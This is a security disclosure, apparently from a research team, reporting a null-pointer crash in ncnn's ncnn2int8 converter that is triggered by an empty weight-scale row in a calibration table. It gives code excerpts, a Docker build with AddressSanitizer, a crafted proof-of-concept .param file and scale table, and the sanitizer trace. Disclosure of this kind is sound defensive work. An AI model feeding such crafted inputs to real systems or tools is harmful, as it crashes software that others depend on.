Empty Weight Scale Crashes ncnn2int8

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/x86/quantize_x86.cpp:40 in quantize
Sanitizer verdict: SEGV on unknown address 0x000000000000 (pc 0x5e3c55842cf3 bp 0x7ffdf3e3a8b0 sp 0x7ffdf3e39c40 T0)

Summary

A calibration table whose weight-scale row carries a key but no numbers makes the ncnn2int8 converter dereference a null pointer and abort. read_int8scale_table turns the empty row into a zero-width ncnn::Mat, quantize_to_int8 discards the -100 that Quantize::load_model returns for that empty scale tensor, and the x86 quantization helper then reads scale_data[0] from a Mat whose data pointer is null. The entry point is the standalone ncnn2int8 tool, invoked with an attacker-supplied .param, .bin and scale table.

Detail

The untrusted field is a line of the calibration table. read_int8scale_table treats the first whitespace-separated token as the key and every following token as a float; a row consisting of the key alone leaves the scales vector empty, and the resulting ncnn::Mat((int)scales.size(), (void*)scales.data()).clone() has w == 0. Because the key matches the _param_ pattern it is stored in weight_int8scale_table, so quantize_convolution() finds it, passes the lookup test at tools/quantize/ncnn2int8.cpp:176, and forwards the empty tensor as the weight scale.

// tools/quantize/ncnn2int8.cpp:90
        // XYZ_param_N pattern
        if (strstr(key_str.c_str(), "_param_"))
        {
            weight_int8scale_table[key_str] = ncnn::Mat((int)scales.size(), (void*)scales.data()).clone();
        }

// src/mat.cpp:2406
void quantize_to_int8(const Mat& src, Mat& dst, const Mat& scale_data, const Option& opt)
{
    Layer* quantize = create_layer(LayerType::Quantize);

    ParamDict pd;
    pd.set(0, scale_data.w);

    quantize->load_param(pd);

    Mat weights[1];
    weights[0] = scale_data;

    quantize->load_model(ModelBinFromMatArray(weights));

    quantize->create_pipeline(opt);

    quantize->forward(src, dst, opt);

// src/layer/x86/quantize_x86.cpp:33
static void quantize(const float* ptr, signed char* s8ptr, const Mat& scale_data, int elemcount, int elempack)
{
    const int scale_data_size = scale_data.w;
    const int size = elemcount * elempack;

    // NCNN_LOGE("quantize %d   %d %d", scale_data_size, elemcount, elempack);

    float scale = scale_data[0];

pd.set(0, scale_data.w) propagates the zero width into Quantize::scale_data_size. Quantize::load_model (src/layer/quantize.cpp:21) detects the condition and returns -100, but line 2418 ignores the return value and line 2422 calls forward() on the half-initialised layer regardless. Inside the x86 kernel the scalar path is taken unconditionally: line 40 evaluates scale_data[0] before the scale_data_size > 1 test on line 49 that guards the vector paths.

With the PoC table (conv on one line, conv_param_0 on the next) both stored tensors are zero-width, so Mat::operator[] on the weight-scale tensor indexes through a null data pointer, and the read of address 0x0 aborts the converter with the reported SEGV. Any weight-scale row that parses to zero values reaches the same sink; the model itself only has to contain a Convolution layer whose name matches the table entries.

Reproduce

mkdir -p ncnn-poc-empty-weight-scale-crashes-ncnn2int8 && cd ncnn-poc-empty-weight-scale-crashes-ncnn2int8

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > poc.param <<'EOF'
7767517
1 2
Convolution conv 1 1 data out 0=1 1=1 6=1
EOF

cat > scales.table <<'EOF'
conv
conv_param_0
EOF

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/quantize/ncnn2int8 poc.param null out.param out.bin scales.table

AddressSanitizer output:

find_blob_index_by_name data failed
quantize_convolution conv
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x64be2caabcf3 bp 0x7ffdb3a4d830 sp 0x7ffdb3a4cbc0 T0)
==1==The signal is caused by a READ memory access.
==1==Hint: address points to the zero page.
    #0 0x64be2caabcf3 in quantize /ncnn/build/src/layer/x86/quantize_x86_avx512.cpp:40
    #1 0x64be2cac1c48 in ncnn::Quantize_x86_avx512::forward(ncnn::Mat const&, ncnn::Mat&, ncnn::Option const&) const /ncnn/build/src/layer/x86/quantize_x86_avx512.cpp:490
    #2 0x64be27165e2e in ncnn::Layer_final::forward(ncnn::Mat const&, ncnn::Mat&, ncnn::Option const&) const /ncnn/src/layer.cpp:366
    #3 0x64be271acc41 in ncnn::quantize_to_int8(ncnn::Mat const&, ncnn::Mat&, ncnn::Mat const&, ncnn::Option const&) /ncnn/src/mat.cpp:2422
    #4 0x64be270e17a3 in NetQuantize::quantize_convolution() /ncnn/tools/quantize/ncnn2int8.cpp:202
    #5 0x64be2713c147 in main /ncnn/tools/quantize/ncnn2int8.cpp:1089
    #6 0x761fe69181c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #7 0x761fe691828a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #8 0x64be270a5644 in _start (/ncnn/build/tools/quantize/ncnn2int8+0x2a1644) (BuildId: a2cc9b5f8fa3acdfe93a4ac496a63a5631403673)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /ncnn/build/src/layer/x86/quantize_x86_avx512.cpp:40 in quantize
==1==ABORTING

Credit

Zheng Yu @ DepthFirst